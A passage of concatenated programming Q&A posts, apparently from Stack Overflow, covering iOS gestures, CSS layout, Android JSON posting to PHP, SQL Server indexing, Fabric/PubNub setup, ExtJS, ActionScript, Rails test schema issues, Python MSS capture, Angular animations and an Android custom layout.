UIImageView *frameView = [[UIImageView alloc] initWithImage:frame];
frameView.frame = CGRectMake(50, 50, frame.size.width, frame.size.height);
[photoBoothController.view addSubview:frameView];
//Configure image
UIImageView *photoView = [[UIImageView alloc] initWithImage:photo];
photoView.frame = CGRectMake(50, 50, photo.size.width, photo.size.height);
photoBoothController.photoImage = photoView;
//Add canvas
UIView *canvas = [[UIView alloc] initWithFrame:frameView.frame];
photoBoothController.canvas = canvas;
[canvas addSubview:photoView];
[canvas becomeFirstResponder];
[photoBoothController.view addSubview:canvas];
[photoBoothController.view bringSubviewToFront:frameView];
//resize the popover view shown in the current view to the view's size
photoBoothController.contentSizeForViewInPopover = CGSizeMake(frameView.frame.size.width+100, frameView.frame.size.height+400);
self.photoBooth = [[UIPopoverController alloc] initWithContentViewController:photoBoothController];
[self.photoBooth presentPopoverFromRect:button.frame
inView:self.view
permittedArrowDirections:UIPopoverArrowDirectionAny
animated:YES];
}
</code></pre>
<p>I thought <code>[canvas becomeFirstResponder]</code> might do it but it doesn't appear to make a difference. </p>
<p>Any advice much appreciate, thank you. </p>
<p>UPDATE: adding code as per comment</p>
<pre><code>- (void)viewDidLoad {
[super viewDidLoad];
if (!_marque) {
_marque = [CAShapeLayer layer];
_marque.fillColor = [[UIColor clearColor] CGColor];
_marque.strokeColor = [[UIColor grayColor] CGColor];
_marque.lineWidth = 1.0f;
_marque.lineJoin = kCALineJoinRound;
_marque.lineDashPattern = [NSArray arrayWithObjects:[NSNumber numberWithInt:10],[NSNumber numberWithInt:5], nil];
_marque.bounds = CGRectMake(photoImage.frame.origin.x, photoImage.frame.origin.y, 0, 0);
_marque.position = CGPointMake(photoImage.frame.origin.x + canvas.frame.origin.x, photoImage.frame.origin.y + canvas.frame.origin.y);
}
[[self.view layer] addSublayer:_marque];
UIPinchGestureRecognizer *pinchRecognizer = [[UIPinchGestureRecognizer alloc] initWithTarget:self action:@selector(scale:)];
[pinchRecognizer setDelegate:self];
[self.view addGestureRecognizer:pinchRecognizer];
UIRotationGestureRecognizer *rotationRecognizer = [[UIRotationGestureRecognizer alloc] initWithTarget:self action:@selector(rotate:)];
[rotationRecognizer setDelegate:self];
[self.view addGestureRecognizer:rotationRecognizer];
UIPanGestureRecognizer *panRecognizer = [[UIPanGestureRecognizer alloc] initWithTarget:self action:@selector(move:)];
[panRecognizer setMinimumNumberOfTouches:1];
[panRecognizer setMaximumNumberOfTouches:1];
[panRecognizer setDelegate:self];
[canvas addGestureRecognizer:panRecognizer];
UITapGestureRecognizer *tapProfileImageRecognizer = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(tapped:)];
[tapProfileImageRecognizer setNumberOfTapsRequired:1];
[tapProfileImageRecognizer setDelegate:self];
[canvas addGestureRecognizer:tapProfileImageRecognizer];
}
- (BOOL)gestureRecognizer:(UIGestureRecognizer *)gestureRecognizer shouldRecognizeSimultaneouslyWithGestureRecognizer:(UIGestureRecognizer *)otherGestureRecognizer {
return ![gestureRecognizer isKindOfClass:[UIPanGestureRecognizer class]] && ![gestureRecognizer isKindOfClass:[UITapGestureRecognizer class]];
}
</code></pre>
| 3 | 1,619 |
CSS floating and positioning
|
<p>I have 2 boxes that should show up next to eachother. I want one to have a vertical fixed position.
So when I scroll up or down the box stays at the same height. </p>
<p>But I don't want it to be horizontal fixed, because I want the 2 boxes together always in the center. Even when you make your browser bigger or smaller. For this I use the margin: 20px auto; </p>
<p>Is there any way <strong><em>how I can keep the margin and get 2 boxes where 1 of them has a vertical fixed position.</em></strong> </p>
<p>Just like this website when making a post. There is a the main page with the question and a sidebox with similar question that always stays on the screeen. </p>
<p>My code so far:</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<link rel="icon" type="image/png" href="/favicon.ico">
<style>
html,
body {
background-color: #026642;
}
#container {
width: 800px;
margin: 20px auto;
position: relative;
}
#sidebox {
background-color: white;
padding: 5px;
margin: 5px;
border-radius: 5px;
width: 180px;
position: absolute;
}
#indexcontainer {
padding: 10px;
background-color: #FFD302;
border-radius: 20px;
width: 580px;
position: absolute;
}
#header {
text-align: center;
}
#content {
background-color: white;
padding: 5px;
margin: 5px;
border-radius: 5px;
}
#content i {
font-size: 14px;
}
#footer {
clear: both;
padding: 0 5px;
font-size: 11px;
clear: both;
}
a:link {
text-decoration: none;
color: black;
}
a:visited {
text-decoration: none;
color: black;
}
a:hover {
text-decoration: underline;
color: black;
}
a:active {
text-decoration: underline;
color: black;
}
</style>
</head>
<body>
<div id="container">
<div id="sidebox">
Sidebox
</div>
<div id="indexcontainer">
<div id="header">
<img src="images/emte.jpg" alt="logo" width="200" height="100">
</a>
</div>
<div id='content'>
Main text box
</div>
<div id="footer"></div>
</div>
</div>
</body>
</html>
</code></pre>
<p>How it needs to work:</p>
<p><img src="https://i.stack.imgur.com/DywSZ.jpg" alt=""></p>
| 3 | 1,539 |
Sending & Reading using JSON
|
<p>My Android Application Reads JSON Data from PHP File according to username and password Sent from Application also as JSON.<br>What I have reached for now that I can Only Read by specifying the username and password, No Sending for username and password from App happens..<br><br>
My question is, Is it possible to Read and Also POST Using JSONParse ??<br>
Please Take a look at the JSONParse Method I've Added a part that's commented because it's not working "Is it possible to Send Username and Password along with Reading status from Database Using JSON"</p>
<p><strong>JSONParse</strong></p>
<pre><code>private class JSONParse extends AsyncTask<String, String, JSONObject> {
private ProgressDialog pDialog;
@Override
protected void onPreExecute() {
super.onPreExecute();
pDialog = new ProgressDialog(fishtank.this);
pDialog.setMessage("Getting Data ...");
pDialog.setIndeterminate(false);
pDialog.setCancelable(true);
pDialog.show();
}
@Override
protected JSONObject doInBackground(String... args) {
/*Temp
SharedPreferences settings = getSharedPreferences("mySettings", Activity.MODE_PRIVATE);
us = settings.getString("storedWifiUser", "");
ps = settings.getString("storedWifiPass", "");
try {
JSONObject json = new JSONObject();
json.put("user", us);
json.put("pass", ps);
postData(json);
} catch (JSONException e) {
e.printStackTrace();} Temp */
JSONParser jParser = new JSONParser();
// Getting JSON from URL
JSONObject json = jParser.getJSONFromUrl(url);
return json;
}
public void postData(JSONObject json) throws JSONException {
HttpClient httpclient = new DefaultHttpClient();
try {
HttpPost httppost = new HttpPost(url);
List<NameValuePair> nvp = new ArrayList<NameValuePair>(2);
nvp.add(new BasicNameValuePair("json", json.toString()));
//httppost.setHeader("Content-type", "application/json");
httppost.setEntity(new UrlEncodedFormEntity(nvp));
HttpResponse response = httpclient.execute(httppost);
Log.i("JSON Response : ",json.toString().trim());
if(response != null) {
InputStream is = response.getEntity().getContent();
//input stream is response that can be shown back on android
}
}catch (Exception e) {
e.printStackTrace();
}
}
//Temp
@Override
protected void onPostExecute(JSONObject json) {
pDialog.dismiss();
try {
// Log.i("JSON Response : ",json.toString().trim());
// Log.i("JSON Response : "+json.toString().trim());
// System.out.println("JSON Response : "+json.toString().trim());
JSONObject c = json.getJSONObject("status");
String tog1="";
String tog2="";
String tog3="";
if(c.has("fil"))
tog1 = c.getString("fil");
if(c.has("HEA"))
tog2 = c.getString("HEA");
if(c.has("LED"))
tog3 = c.getString("LED");
Log.i("JSON Response : ",json.toString().trim());
if(tog1.equals("ON"))
{ toggle1.setChecked(true);}
else{ toggle1.setChecked(false);}
if(tog2.equals("ON"))
{ toggle2.setChecked(true);}
else{ toggle2.setChecked(false);}
if(tog3.equals("ON"))
{ toggle3.setChecked(true);}
else{toggle3.setChecked(false);}
} catch (JSONException e) {
e.printStackTrace();
}
}
}//End Json
</code></pre>
<p><strong>PHP File</strong></p>
<pre><code><?php
$con=mysqli_connect("localhost","root","123","pet_home");
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
// if(isset($_POST['json'])){
// $json=$_POST['json'];
// $data2=json_decode($json,TRUE);
// $u=$data2->{'user'};
// $p=$data2->{'pass'};
$result = mysqli_query($con,"SELECT * FROM users WHERE username='osama' AND password='123'");
$row_cnt = mysqli_num_rows($result);
//$row_cnt=1;
if($row_cnt>0){
$row = mysqli_fetch_array($result);
$data = array('success'=>true, 'error'=>'', 'status'=>array("fil" => $row['filter_st'], "HEA"=> $row['heat_st'], "LED" =>$row['led_st']));
}else{
$data = array('success'=>false, 'error' => 'No records found');
}
// }else{
// $data = array('success'=>false, 'error' => 'No POST value from Android App');
// }
echo json_encode($data);
mysqli_close($con);
?>
</code></pre>
| 3 | 3,209 |
How to re-index an AuditLog table? non clustered primary key, clustered covering index, guid
|
<p>Using SQL Server 2016 Standard. I have an existing <code>AuditLog</code> table, with a PK on a <code>bigint</code> column (generated C# side) and an additional index.</p>
<pre><code>CREATE TABLE [dbo].[AuditLog]
(
[Id] [bigint] NOT NULL,
[ChangeTime] [datetime] NOT NULL,
[User] [varchar](100) NOT NULL,
[RootId] [bigint] NOT NULL,
[EntityId] [bigint] NOT NULL,
[EntityName] [varchar](100) NOT NULL,
[Operation] [varchar](100) NOT NULL,
[OldValue] [varchar](max) NULL,
[NewValue] [varchar](max) NULL
)
ALTER TABLE [dbo].[AuditLog]
ADD CONSTRAINT [PK_AuditLog]
PRIMARY KEY CLUSTERED ([Id] ASC)
CREATE NONCLUSTERED INDEX [IX_AuditLog_RootId]
ON [dbo].[AuditLog] ([RootId] ASC)
</code></pre>
<p>With the current 105,000,000 rows, the sizes are (using used_page_count * 8K per page):</p>
<ul>
<li>PK_AuditLog: 11,535,112 KB</li>
<li>IX_AuditLog_RootId: 2,370,480 KB</li>
</ul>
<p>I now have to create rows in this table from a stored procedure in SQL, not in c# only anymore, so I need a primary key that can be generated SQL side (and C# still). I think my choices are <code>int identity</code> and <code>guid</code> (with a <code>NEWSEQUENTIALID</code> default).</p>
<p>Since most of my usages include the date and ordering by date, I'm thinking of clustering with that. Sounds right?</p>
<p>And since I almost always filter by <code>RootId</code> and <code>User</code>, I'm thinking of including them in my index. Is it a good idea to include the other columns in the clustered index? or should they be in a separate covering index?</p>
<p>Every index needs to identify rows uniquely, so my clustered index will include the primary key even if I don't specify it. So using a <code>Guid</code> as the PK seems a bad idea for storage, particularly with 100million rows. So I'm using a <code>bigint</code>.</p>
<p>Since my PK is notclustered (therefore not stored physically in that order), how does SQL Server work out the next identity? I doubt it sorts the PK to find the max value. Is using identity on a nonclustered column a bad idea?</p>
<p>Also, I guess I could use <code>datetime2</code> with precision 3 (storage 7 bytes) instead of <code>datetime</code> (8 bytes) to keep same precision but save a bit of space (or even precision 4 to increase precision for same storage anyway)?</p>
<p>So I'm thinking of doing:</p>
<pre><code>CREATE TABLE dbo.AuditLog
(
Id bigint NOT NULL IDENTITY (1, 1),
ChangeTime datetime2(4) NOT NULL...
ALTER TABLE AuditLog
ADD CONSTRAINT [PK_AuditLog]
PRIMARY KEY NONCLUSTERED (Id)
CREATE CLUSTERED INDEX CIX_AuditLog_ChangetimeRootUser
ON AuditLog(Changetime, RootId, [User])
</code></pre>
<p><strong>Footnote</strong></p>
<p>This is how the table is used:</p>
<ul>
<li><p>No foreign keys to or from this table.</p></li>
<li><p>insert heavy (any add/edit/delete of user entity fields inserts a new AuditLog row, constantly during business hours, must be fast)</p></li>
<li><p>occasional reads (users check what or who changed something, ie, read the AuditLog, a few times a day, would be nice to not wait ages for a query to return)</p></li>
<li><p>AuditLog rows are never updated nor deleted once inserted.</p></li>
</ul>
<p>Typical filters and order:</p>
<ul>
<li>filter by date only</li>
<li>filter by date and user</li>
<li>filter by date and objectId</li>
<li>filter by date and user and objectId</li>
<li>filter by objectId only </li>
<li>almost always sorted by reverse date, to show most recent changes first.</li>
<li>often used with paging, using "offset x rows" and "fetch next x rows only"</li>
<li>and a specific use case, which amounts to selecting a subset of PK using a where clause, and then self join on the main table using the PK to retrieve column values</li>
</ul>
<p>PS: I'm clear on the process and the time it will take, create temporary new table, copy data in chunks, create indexes, etc...</p>
| 3 | 1,354 |
App crashing because "It appears that 'PubNub' is not a valid Fabric Kit"
|
<p>Let me preface by saying that I'm using <code>CocoaPods</code> to manage my frameworks. I'm not sure if this really matters, but I thought you might as well know just in case. I'm also running on iOS 10.x with the latest version of Xcode (not beta).</p>
<hr>
<p>My app is crashing on <code>Fabric.with([Crashlytics.self, PubNub.self])</code> with the following error:</p>
<blockquote>
<p>Terminating app due to uncaught exception 'FABException', reason: '[Fabric] It appears that "PubNub" is not a valid Fabric Kit. Please make sure you only pass Fabric Kits to [Fabric with:].'</p>
</blockquote>
<p>I have updated my <code>PodFile</code>, cleaned my project, ran on a fresh install, ran on a physical and virtual device, and I've even uninstalled <code>pod 'PubNub'</code> and reinstalled it. Nothing seems to be working so far, so any help would be greatly appreciated. </p>
<p><strong>My <code>AppDelegate</code> looks like this:</strong></p>
<pre><code>import Fabric
import Crashlytics
import PubNub
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
/* Fabric (Answers) Debug */
Fabric.sharedSDK().debug = true
/* Fabric Setup */
Fabric.with([Crashlytics.self, PubNub.self])
return true
}
</code></pre>
<p><strong>My <code>PodFile</code> looks like this:</strong></p>
<pre><code># Uncomment the next line to define a global platform for your project
platform :ios, '9.1'
target 'AppName' do
# Comment the next line if you're not using Swift and don't want to use dynamic frameworks
use_frameworks!
# Fabric #
pod 'Fabric'
pod 'Crashlytics', '~> 3.8'
# PubNub #
pod 'PubNub/Fabric'
target 'AppNameTests' do
inherit! :search_paths
# Pods for testing
end
target 'AppNameUITests' do
inherit! :search_paths
# Pods for testing
end
end
</code></pre>
<p><strong>My <code>Info.plist</code> code:</strong></p>
<pre><code><key>Fabric</key>
<dict>
<key>APIKey</key>
<string>##############################</string>
<key>Kits</key>
<array>
<dict>
<key>KitInfo</key>
<dict/>
<key>KitName</key>
<string>Crashlytics</string>
</dict>
<dict>
<key>KitInfo</key>
<dict>
<key>publish-key</key>
<string>##############################</string>
<key>secret-key</key>
<string>##############################</string>
<key>subscribe-key</key>
<string>##############################</string>
</dict>
<key>KitName</key>
<string>PubNub</string>
</dict>
</array>
</dict>
</code></pre>
| 3 | 1,355 |
Extjs 4. combobox in grid. using index to get data
|
<p>I need my controller to load a grid with comboboxes. </p>
<p>The status field (number) in the 'equipment data' should load the status field of possible states from 'equipment states' and display these in the combobox.</p>
<p>When selecting a new option, the id should be saved in 'equipment data', status field. As a number.</p>
<pre><code>// for store 'equipment'
<?php
header("Content-type: application/json");
?>
{
"success": true,
"data": [
{
"equipment_id": 1,
"name": "screwdriver",
"status": 1
}
]
}
// store 'equipmentStatus'
<?php
header("Content-type: application/json");
?>
{
"success": true,
"data": [
{
"id": 1,
"status": "available"
},
{
"id": 2,
"status": "out of stock"
},
{
"id": 3,
"status": "not available"
}
]
}
// -----------------------------
Ext.define('Equipment.view.EquipmentGrid', {
extend: 'Ext.grid.Panel',
alias: 'widget.EquipmentGrid',
title: 'Equipment manager',
requires: [
'Ext.form.field.ComboBox',
'Ext.grid.column.CheckColumn',
'Ext.grid.plugin.CellEditing'
],
initComponent: function () {
// enable quicktips
Ext.tip.QuickTipManager.init();
this.cellEditing = new Ext.grid.plugin.CellEditing({
clicksToEdit: 1
});
Ext.apply(this, {
plugins: [this.cellEditing],
// connect store to grid
store: 'Equipments',
columns: [
{
header: 'Status',
dataIndex: 'status',
editor: new Ext.form.field.ComboBox({
typeAhead: true,
triggerAction: 'all',
store: 'EquipmentStatus'
})
}
]
});
this.callParent(arguments);
}
});
</code></pre>
| 3 | 1,106 |
CSS Positioning - Fill whitespace from floated elements
|
<p>How do I go about positioning Box4 so that is pushed up against Box1?</p>
<p><img src="https://i.stack.imgur.com/E1eTL.png" alt="enter image description here"></p>
<p>Looking forward to your suggestions and any help would be much appreciated.</p>
<pre><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<link rel="stylesheet" href="align.css">
</head>
<body>
<div>
<section class="boxes">
<b>BOX1</b>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
</section>
<section class="boxes">
<b>BOX2</b>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
</section>
<section class="boxes">
<b>BOX3</b>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
</section>
<section class="boxes">
<b>BOX4</b>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
</section>
<section class="boxes">
<b>BOX5</b>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Incidunt, nihil excepturi laudantium ipsum! Voluptate ducimus velit voluptatibus, molestias modi quia dignissimos sint dolorum quasi nemo asperiores sit reiciendis ipsam, neque?
</section>
</div>
</code></pre>
<p>
</p>
<pre><code>.boxes {
width: 500px;
border: 1px solid black;
float: left;
}
</code></pre>
| 3 | 1,167 |
Use variables from one .as file in another?
|
<p>If I have created variables in one document named Main.as as follows:</p>
<pre><code>var backgroundLayer:Sprite = new Sprite;
var gameLayer:Sprite = new Sprite;
var interfaceLayer:Sprite = new Sprite;
</code></pre>
<p>How can I access these in another .as file? I'm trying to sort the objects in my game into layers but I'm getting errors. For example, I have a EnemyShip.as file with the following in it:</p>
<pre><code>function enterFrame(e:Event)
{
this.x -= speed;
if(this.x < -100)
{
removeEventListener("enterFrame", enterFrame);
stage.removeChild(this);
}
}
function kill()
{
var explosion = new Explosion();
stage.addChild(explosion);
explosion.x = this.x;
explosion.y = this.y;
removeEventListener("enterFrame", enterFrame);
stage.removeChild(this);
Main.updateScore(1);
shot.play();
}
</code></pre>
<p>The problem is I was trying to change <code>stage.addChild(explosion)</code> to <code>gameLayer.addChild(explosion)</code> but I got an <code>access of undefined property gameLayer</code> error. </p>
<p>There may be something obvious I am missing, so please let me know. I'm also not too sure whether I should be using <code>new Sprite</code> or <code>new Movieclip</code>; the majority of my game is made up of movie clips and buttons, so perhaps this should be changed?</p>
<p>Thanks.</p>
<p>EDIT: I tried Kodiak's second solution by doing the following (Relevant parts):</p>
<p>EnemyShip.as:</p>
<pre><code>package
{
import flash.display.MovieClip;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.events.TimerEvent;
import flash.utils.Timer;
import flash.ui.Mouse;
import flash.media.Sound;
import flash.media.SoundChannel;
import flash.text.TextFormat;
import flash.text.TextField;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.system.LoaderContext;
import flash.display.Sprite;
import flash.net.Socket;
public class EnemyShip extends MovieClip
{
public static var gameLayer:Sprite;
var speed:Number;
var shot = new ShotSound();
public function EnemyShip()
{
this.x = 800;
this.y = Math.random() * 275 + 75;
speed = Math.random()*5 + 9;
addEventListener("enterFrame", enterFrame);
addEventListener(MouseEvent.MOUSE_DOWN, mouseShoot);
}
</code></pre>
<p>Main.as:</p>
<pre><code>package {
import flash.display.MovieClip;
import flash.display.Sprite;
import flash.display.DisplayObject;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.events.TimerEvent;
import flash.utils.Timer;
import flash.ui.Mouse;
import flash.media.Sound;
import flash.media.SoundChannel;
import flash.text.TextFormat;
import flash.text.TextField;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.system.LoaderContext;
import flash.display.Sprite;
import flash.net.Socket;
public class Main extends MovieClip {
EnemyShip.gameLayer = gameLayer;
var interfaceLayer:Sprite = new Sprite;
var menuLayer:Sprite = new Sprite;
var endGameLayer:Sprite = new Sprite;
</code></pre>
<p>I'm getting errors like <code>1120: Access of undefined property gameLayer</code> on lines such as <code>EnemyShip.gameLayer = gameLayer;</code> and when I try to do things like:</p>
<pre><code> crosshair = new crosshair_mc();
gameLayer.addChild(crosshair);
</code></pre>
<p>I get the same error.</p>
| 3 | 1,316 |
While running specs entries are getting delete from schema migrations table
|
<p>When upgraded to rails 6.1 my specs are failing due to entries are getting delete from schema_migrations table</p>
<pre><code>ActiveRecord::SchemaMigration.count
(2.1ms) SELECT COUNT(*) FROM "SCHEMA_MIGRATIONS"
=> 1
ActiveRecord::NoEnvironmentInSchemaError:
Environment data not found in the schema. To resolve this issue, run:
bin/rails db:environment:set RAILS_ENV=test
Failure/Error: ActiveRecord::Migration.maintain_test_schema!
ActiveRecord::PendingMigrationError:
Migrations are pending. To resolve this issue, run:
bin/rails db:migrate RAILS_ENV=test
</code></pre>
<p>When I run the following command</p>
<pre><code> bin/rails db:environment:set RAILS_ENV=test
</code></pre>
<p>It adds entry in the schema_migrations table.</p>
<p>But when I run</p>
<pre><code>rspec spec/
</code></pre>
<p>It deleted all my entries from the schema_migrations table except 1 entry. I suspect the issue is in database cleaner. Also, I check few <a href="https://stackoverflow.com/questions/38209186/rails-5-rspec-environment-data-not-found-in-the-schema">post</a> but so far no luck</p>
<p>rails_helper.rb</p>
<pre><code>require 'simplecov'
SimpleCov.start 'rails'
# This file is copied to spec/ when you run 'rails generate rspec:install'
require 'spec_helper'
ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
# Prevent database truncation if the environment is production
abort("The Rails environment is running in production mode!") if Rails.env.production?
require 'rspec/rails'
require 'json_matchers/rspec'
# Add additional requires below this line. Rails is not loaded until this point!
require 'database_cleaner'
Shoulda::Matchers.configure do |config|
config.integrate do |with|
with.test_framework :rspec
with.library :rails
end
end
#
Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
ActiveRecord::Migration.maintain_test_schema!
RSpec.configure do |config|
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
config.fixture_path = "#{::Rails.root}/spec/fixtures"
config.use_transactional_fixtures = true
config.infer_spec_type_from_file_location!
# Filter lines from Rails gems in backtraces.
config.filter_rails_from_backtrace!
# arbitrary gems may also be filtered via:
# config.filter_gems_from_backtrace("gem name")
config.include FactoryBot::Syntax::Methods
config.before(:suite) do
DatabaseCleaner.clean_with :truncation, expect: %w(ar_internal_metadata schema_migrations)
DatabaseCleaner.strategy = :transaction
end
config.around(:each) do |example|
DatabaseCleaner.cleaning do
example.run
end
end
config.include RequestSpecHelper
config.include ControllerSpecHelper
end
</code></pre>
<p>database_cleaner (2.0.1)<br/>
rails (6.1)<br/>
ruby (2.5.0)<br/>
activerecord-oracle_enhanced-adapter (6.1.4)<br/>
ruby-oci8 (2.2.6.1)</p>
<p>Note: I am using oracle as a database</p>
| 3 | 1,071 |
Can't seem to properly run python MSS library
|
<p>I am trying to learn the MSS python library to stream/reflect what's in the monitor. My intention is to use it with OpenCV to process the image. I got this source code from a youtube tutorial but I am getting the this error: (I can't solve this to run the code). Any tips and guidance are very much appreciated.</p>
<pre><code>Traceback (most recent call last):
File "C:\Users\Ryan Webb\Documents\OpenCV-objectDetection\mss.py", line 4, in <module>
from mss.windows import MSS as mss
File "C:\Users\Ryan Webb\Documents\OpenCV-objectDetection\mss.py", line 4, in <module>
from mss.windows import MSS as mss
ModuleNotFoundError: No module named 'mss.windows'; 'mss' is not a package
</code></pre>
<p>Here is the source code I copy-pasted from the tutorial:</p>
<pre><code>from mss import mss
import cv2
from PIL import Image
import numpy as np
from time import time
mon = {'top': 100, 'left':200, 'width':1600, 'height':1024}
sct = mss()
while 1:
begin_time = time()
sct_img = sct.grab(mon)
img = Image.frombytes('RGB', (sct_img.size.width, sct_img.size.height), sct_img.rgb)
img_bgr = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)
cv2.imshow('test', np.array(img_bgr))
print('This frame takes {} seconds.'.format(time()-begin_time))
if cv2.waitKey(25) & 0xFF == ord('q'):
cv2.destroyAllWindows()
break
</code></pre>
<p>I think I properly installed the MSS library here is my pip list results:</p>
<pre><code>C:\Users\Ryan Webb>pip list
Package Version
----------------- --------
astroid 2.6.5
colorama 0.4.4
isort 5.9.3
lazy-object-proxy 1.6.0
mccabe 0.6.1
MouseInfo 0.1.3
mss 6.1.0
numpy 1.21.1
opencv-python 4.5.3.56
Pillow 8.3.1
pip 21.1.3
PyAutoGUI 0.9.53
PyGetWindow 0.0.9
pylint 2.9.6
PyMsgBox 1.0.9
pyperclip 1.8.2
PyRect 0.1.4
PyScreeze 0.1.27
PyTweening 1.0.3
pywin32 301
setuptools 56.0.0
toml 0.10.2
wrapt 1.12.1
WARNING: You are using pip version 21.1.3; however, version 21.2.3 is available.
You should consider upgrading via the 'c:\program files\python39\python.exe -m pip install --upgrade pip' command.
</code></pre>
| 3 | 1,075 |
Why my component in Angular doesn't display?
|
<p>I try to learn Angular Animation from : <a href="https://angular.io/guide/animations" rel="nofollow noreferrer">https://angular.io/guide/animations</a>. I think I have follow corretly the steps and my component doesn't display.</p>
<p><strong>index.html</strong></p>
<pre><code><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>AngularAnimation</title>
<base href="/">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="favicon.ico">
</head>
<body>
<app-root></app-root>
</body>
</html>
</code></pre>
<hr />
<p><strong>app.component.html</strong></p>
<pre><code><p>YES</p>
<app-open-close></app-open-close>
</code></pre>
<p><strong>app.module.ts</strong></p>
<pre><code>import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { OpenCloseComponent } from './open-close/open-close.component';
@NgModule({
declarations: [
AppComponent,
OpenCloseComponent
],
imports: [
BrowserModule,
AppRoutingModule,
BrowserAnimationsModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
</code></pre>
<p><strong>app.component.ts</strong></p>
<pre><code>import { Component } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.scss'],
})
export class AppComponent {
title = 'AngularAnimation';
}
</code></pre>
<hr />
<p><strong>open-close.component.html</strong></p>
<pre><code><p>open-close work!</p>
<div [@openClose] = "isOpen ? 'open' : 'closed'" class="open-close-containter" >
<p>The box is now {{ isOpen ? 'Open' : 'Closed' }}! </p>
</div>
</code></pre>
<p><strong>open-close.component.ts</strong></p>
<pre><code>import { Component, OnInit } from '@angular/core';
import { trigger, state, style, animate, transition } from '@angular/animations';
@Component({
selector: 'app-open-close',
templateUrl: './open-close.component.html',
styleUrls: ['./open-close.component.scss'],
animations:[
trigger('openClose' , [
state('open' , style ({
height: '200px',
opacity: 1,
backgroundColor: 'yellow',
})),
state('closed',style({
height: '100px',
opacity: 0.5,
backgroundColor:'green',
})),
transition('open => closed' , [animate('1s')]),
transition( 'closed => open' , [ animate('0.5s')]),
]),
]
})
export class OpenCloseComponent implements OnInit {
isOpen = true;
constructor() { }
ngOnInit(): void {
}
toggle(){
this.isOpen = !this.isOpen;
}
}
</code></pre>
<p>My project :
<a href="https://i.stack.imgur.com/mZky9.png" rel="nofollow noreferrer">project tree structure</a></p>
<p>It displays me correctly YES from <strong>app.component.html</strong> but not the rest.</p>
<p>Thank's,</p>
<p>BOSS_ladis</p>
| 3 | 1,357 |
Measuring children in custom view breaks in RTL
|
<p>I have a custom view that extends LinearLayout and implements onMeasure. I'd like the children to be either as wide as they need to be or filling the available space.</p>
<p>XML files:
Parent:</p>
<pre class="lang-xml prettyprint-override"><code><FrameLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<com.example.myapplication.AtMostLinearLayout
android:id="@+id/at_most_linear_layout"
android:layout_width="match_parent"
android:layout_height="wrap_content" />
</FrameLayout>
</code></pre>
<p>Button example:</p>
<pre><code><FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="wrap_content"
android:layout_height="wrap_content">
<ImageView
android:layout_width="48dp"
android:layout_height="48dp"
android:layout_gravity="center"
android:src="@android:drawable/ic_delete" />
</FrameLayout>
</code></pre>
<p>Views are added programmatically, for example:</p>
<pre class="lang-kotlin prettyprint-override"><code> findViewById<AtMostLinearLayout>(R.id.at_most_linear_layout).apply {
repeat(4) {
LayoutInflater.from(context).inflate(R.layout.button, this)
}
}
</code></pre>
<p>Finally the Custom view class:</p>
<pre class="lang-kotlin prettyprint-override"><code>
class AtMostLinearLayout @JvmOverloads constructor(
context: Context,
attrs: AttributeSet? = null,
defStyle: Int = 0
) : LinearLayout(context, attrs, defStyle) {
private val maxTotalWidth = context.resources.getDimensionPixelOffset(R.dimen.max_buttons_width)
init {
orientation = HORIZONTAL
}
override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
if (childCount < 1) return
val newWidth = min(measuredWidth, maxTotalWidth)
var availableWidth = newWidth
var numberOfLargeChildren = 0
repeat(childCount) {
getChildAt(it).let { child ->
if (child.measuredWidth > availableWidth / childCount) {
availableWidth -= child.measuredWidth
numberOfLargeChildren++
}
}
}
val minChildWidth = availableWidth / max(childCount - numberOfLargeChildren, 1)
